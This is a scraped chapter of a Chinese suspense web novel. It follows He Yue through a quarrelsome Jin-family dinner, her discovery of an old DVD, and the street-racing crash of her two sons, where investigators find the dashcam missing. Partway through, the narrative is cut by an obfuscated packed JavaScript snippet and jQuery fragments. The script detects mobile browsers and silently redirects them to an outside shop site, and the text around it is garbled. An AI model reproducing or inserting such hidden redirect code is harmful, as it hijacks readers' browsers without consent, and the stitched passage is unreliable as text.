24. 茶匙 024
作品:《狗血两茶匙[悬疑]》 何玥感到挫败。
她一边想要去追自己的两个儿子,另一边又要看严少敏的脸色,明明心中有诸多委屈和愤怒,却不敢坚定自己的立场,生怕一个不小心和严少敏撕破了脸,一家人难堪。
她无处发泄,转头看向司马荷生。
司马荷生的气质和态度向来温吞如水,最擅长打太极,光是刚才一句不要脸的“我太笨”就将责任全部化了出去。不,也不能完全这么说,核心原因还在于司马家有钱,叹世界的创始资金就是从司马家来的。司马荷生随便说句回家,忙家族事业,便能把金家的事情高高挂起,就连严少敏也只是哼唧两句,不敢多说。
说白了,还是吃人的嘴软,拿人的手短。
论资排辈,排在何玥底下的不只司马荷生,还有肖月娥和老四的妻子袁虹霞。
肖月娥没什么学问,胜在长了个砂煲一样大的胆。金少立靠卖碗仔翅立稳了脚跟后,肖月娥是最先靠上来的。她瞒着当时还活着的老五金耀立,拿着所有的积蓄一个人悄悄偷渡来了裴岛。
她不喜欢厨房,在老家时就已经习惯了将家务事推得一干二净。当然,能这么做的前提是,她有一个百试不灵的借口,其中用得最多的是:我要出去摆摊,去卖衣服挣钱。
到了裴岛之后,肖月娥自然也不会往厨房里钻。
那时候的裴岛身份并不难拿,只要有落脚的地方,有人担保,便可以拿到身份证。拿到身份证之后,肖月娥做的第一件事就是找了家制衣工厂,然后骑牛找马,腾挪跳槽加薪之后,她来到了当时裴岛最大的制衣厂,司马伯爵,岗位是初级服装销售专员。
肖月娥自然不会满足于初级二字。她凭着自己的胆识和小聪明混得风生水起,一路从销冠做到了销售经理。挣的钱多了,严少敏也不得不对她客客气气。
本该地位最低的肖月娥和司马荷生破格飞升,金家内部的牛马角色便顺理成章地落到了排第四的袁虹霞以及排第三的自己的头上。
想到这,何玥含着两泡眼泪,发狠似地拿筷子戳向满满的白米饭,心中骂道:袁虹霞这家伙,是卖身给司马伯爵了吗?怎么现在还不回家?还有,找工作就找工作吧,叹世界那么多的岗位,她一个金家四嫂跑去给六婶干活算怎么回事?
和肖月娥不同,袁虹霞并不是一来到裴岛就跑去给司马荷生打工的。
大约十五年前,老四金文立犯了错,进了牢房,袁虹霞又没有孩子,呆在家里闷到抑郁,便由二嫂曾秀芬推荐,到司马伯爵当起了采购。
那时候的司马伯爵已经由司马荷生接手。它的风气同她老板一样,只做事,不看人。闲言碎语和勾心斗角少了,能忙的事情多了,袁虹霞的情况也渐渐好起来,从此赖上了司马伯爵。
何玥恨曾秀芬和袁虹霞。
她在金家的地位本来就不高,垫背的又趁机跑了,严少敏能使唤的也就只剩她一人了。
她一边戳着碗筷,一边对严少敏说:“以前这些事情四婶都有参与的,怎么今天晚上还不见她身影?采购的工作有这么忙吗?”
严少敏没有接话,只顺着话头看向司马荷生,用目光责备她这个老板不放人。
她这句话忘了指名道姓,司马荷生只佯装没看见,没听见,继续吃自己的。
说曹操曹操到,一直不见人影的袁虹霞终于回来了。她连提包都来不及放下,就先走到严少敏身边打招呼。
严少敏显然不吃这一套,只粗重地“嗯”了一声,问她:“有这么忙吗?”
袁虹霞说话温声细语的:“刚回来了一批新料子,本打算抽检入库就下班的,可最近消防查得紧,要赶在明天检查之前将新的消防器材全部换上,一不小心就忙到了现在。”
何玥:“怎么采购经理还要管消防?这不是行政那边该做的工作吗?”
不等袁虹霞开口,司马荷生便答道:“三嫂,这件事你可得帮我劝劝。之前消防检查没那么严格的时候,确实是由采购来兼职处理的。但现在消防要求上来了,工作量变大了,我也想将职能分出去。只可惜,四嫂实在是太敬业了,完全没有行政部插手的空间。”
袁虹霞笑着说:“反正我已经兼岗多年了,也不差这么点功夫。”
何玥:“什么叫做不差这么点功夫?现在都几点了,你要是不用兼岗消防安全的事,你早就可以下班了。人家给自己家打工都是打得逍遥自在的,偏你一个往马圈上头凑,那么多员工都不懂得使唤。”
司马荷生:“三嫂说得对啊,是我考虑不周了。”
这下,轮到袁虹霞哭丧起了脸:“不不不,安全生产这种事情还是交给自己人比较妥当,三嫂又不工作,怎么会知道这当中的门道……哎呀!”
袁虹霞似乎意识到自己说错了话,急忙捂嘴,用她那小鸟唱歌一般的声音轻轻地说:“看我这张嘴……三嫂不要生气,我有时候说话就是这么不过脑子的。六婶都说我好几回了,我就是没记住。”
童鸢在一旁边吃边听,好奇老太太接下来会说什么。
严少敏说:“什么消防,什么职能,那不是我应该关心的。我只关心,今年的大寿,你们打算怎么办?”
这话一出,平原大战瞬间转为地下战。何玥和袁虹霞的视线顿时纠缠在一起,但谁也不肯先亮剑。良久,袁虹霞终于说:“听二嫂和大嫂的意思,肯定是要好好办一下的。”
何玥:“四嫂,你该不会还没听说今天发生的事情吧。也对,你男人还在监狱里。”
童鸢倒吸一口凉气,视线扫了眼袁虹霞,最后落在严少敏身上。
严少敏不为所动,没有制止,也没有回答,似乎蹲监狱的全然是个陌生人,只一心一意地看着袁虹霞。
袁虹霞:“那便请人到家里来办。”
严少敏满意了,动起了筷子。
何玥:“家里办也不可以。”
严少敏再次放下筷子。筷子径直戳进碗底,发出铿锵一声。
“二嫂其实已经有安排,我们跟着做就好了,你为什么这么不情愿?”袁虹霞声线轻柔,看上去低眉顺眼,话里话外却都藏了硬骨头。
何玥早就在爆发的边缘,眼下更控制不住情绪,说:“出事的不是你老公,你自然这么说!你们这群,这群!”
她群了半天,一路群到严少敏脸上,最后没了下文,一拍桌子走了。
餐厅门在她身后合上的瞬间,她听到严少敏说:“吃饭吧,家和万事兴。”
吃吃吃吃吃吃,一天到晚就知道吃,总有一天吃死你这个死老太婆。
何玥咬紧下嘴唇,啪嗒着短靴,一路燃烧着怒火回了自己的别墅,踩上二楼主卧的大阳台。
每当生气的时候,她总喜欢走到主卧的大阳台上吸烟。正常情况下,只要吸上一根,她便能感觉到身心舒畅,暂时将烦恼抛到一边。可今天不一样。
她只要稍一侧身便能看到金少立别墅的那个客卧阳台。
那里住着鬼魂。而这鬼魂偏偏带了个“鸢”字。
这个字是带着诅咒的,一来准没好事。都怪那个人起的晦气名字。
严少敏那老不死难道就没有觉察到什么不对劲吗?还有袁虹霞那个忘恩负义的,难道她也不记得了?怎么刚才一点反应都没有?
何玥越想越烦躁,直接拨通了手机上的语音电话:“我让你查的人查得怎么样了?”
对面有些无奈:“姑奶奶,我们是私家侦探,又不是FBI,没那么快,再给我三天时间……”
何玥不等他说完,直接把手机摔了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975265|190981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
手机刚好磕在护栏的陶瓷筒上,几个弹跳之后,零水花飞进楼下的游泳池里。扑通一声,药石无灵。
“……真是倒霉透了!”
何玥快步走回屋内,去寻之前买的备用机。她已经记不清备用机是什么时候买的,只记得是放在某个柜子里。她翻箱倒柜,只听见啪嗒一声,有什么东西从化妆盒旁掉了下来。
她从桌子的缝隙里抠出来一看,那是一盘DVD。
DVD盒子上的白色卡纸已经泛黄,上面写着“珍藏”二字。
金培立出了名的好色。就算他不坦白,何玥也清楚他在外头多的是莺莺燕燕。何玥已经习惯了,虽然偶尔还是会生气,会争吵,但只要不影响她和两个儿子的生活,不突然冒出个什么私生子、私生女来争夺遗产,她什么都无所谓。
万花丛中过,片叶不沾身。何玥从不知道金培立有什么特殊的癖好。
毕竟,但凡是癖好,总是能留下证据的。在看到DVD的那一刻,她第一反应便是,啊,证据来了。
她想看看,也该看看。
只是现在已经是2025年,她要到哪里去播这盘DVD?随后,她想到了家里的地下影音室。在那里,金培立藏了很多老旧的数码宝贝,应该也包括上了年纪的读碟器。
那一晚,何玥将自己锁在了位于负一楼的家庭影院里。
那一晚,超跑的引擎声响彻整座笔帽山。
倒霉的晨运客,又一次无法上山。
车祸是在将近凌晨四点的时候被上来看日出的游客发现的。
事发地点是有着裴岛玫瑰发夹之称的临崖车道。金诺群兄弟和他们的车被发现侧翻在下坡路段。
何玥赶到市一的时候,两人刚从抢救室里出来,被送进了ICU,和他们亲爱的六叔只隔了一层楼。
何玥六神无主,只知道哭。调查人员无计可施,只能从她的手机上挑了个眼熟且行动自由的,最终挑到了司马荷生头上。
司马荷生看上去温吞,做起事来却分外利索。她刚挂断电话,便拿起提包走向车库。童鸢跟了上去:“司马夫人,需要帮忙吗?”
司马荷生一愣,刚要拒绝,转头又说:“你找阿贤,让他给两位堂兄准备些日用品和换洗衣物,送过来。希望能用得上吧。”
等童鸢和金诺贤带着行李袋匆匆赶来,何玥和司马荷生正在家属谈话室里听调查员说话。
调查员问何玥:“两位公子之前有和人飙车的习惯吗?”
“应该是……有的吧,他们喜欢跑车,”何玥刚说完,又连忙补充道,“但他们没有非法赛车,都是在合规路段进行的。”
调查员看了何玥一眼:“笔帽山并不属于合规路段,也不在赛事期间,两位公子这种行为是违法的,你知道吗?”
何玥:“你说这话是因为他们开的是超跑吗?你怎么能一口咬定他们就是在飙车呢?”
调查员取出现场照片,放到桌子上,推到何玥等人面前,说:“从刹车痕迹来看,车祸发生时的车速已经超过了两百。这,就是飙车。”
何玥愣愣地看着那一道道黑色的车辙,只长大了嘴巴,哑口无言。
童鸢站在司马荷生身后,观察着桌上的图片,问调查员:“现场应该还有别的车辆吧?从上面的车辙看来,好像不只一辆车。”
何玥即刻抬起头来:“对,对对对,他们不可能无缘无故超速驾驶的,一定是有什么误会!”
“这正是我们想要了解的,”调查员说,“他们去笔帽山之前有没有表现出什么异样?”
“异样?”何玥看着两位事故调查员,“比如说?”
“比如说……他们有没有约了谁?我们发现事故车辆的时候,上面的行车记录仪不见了。”

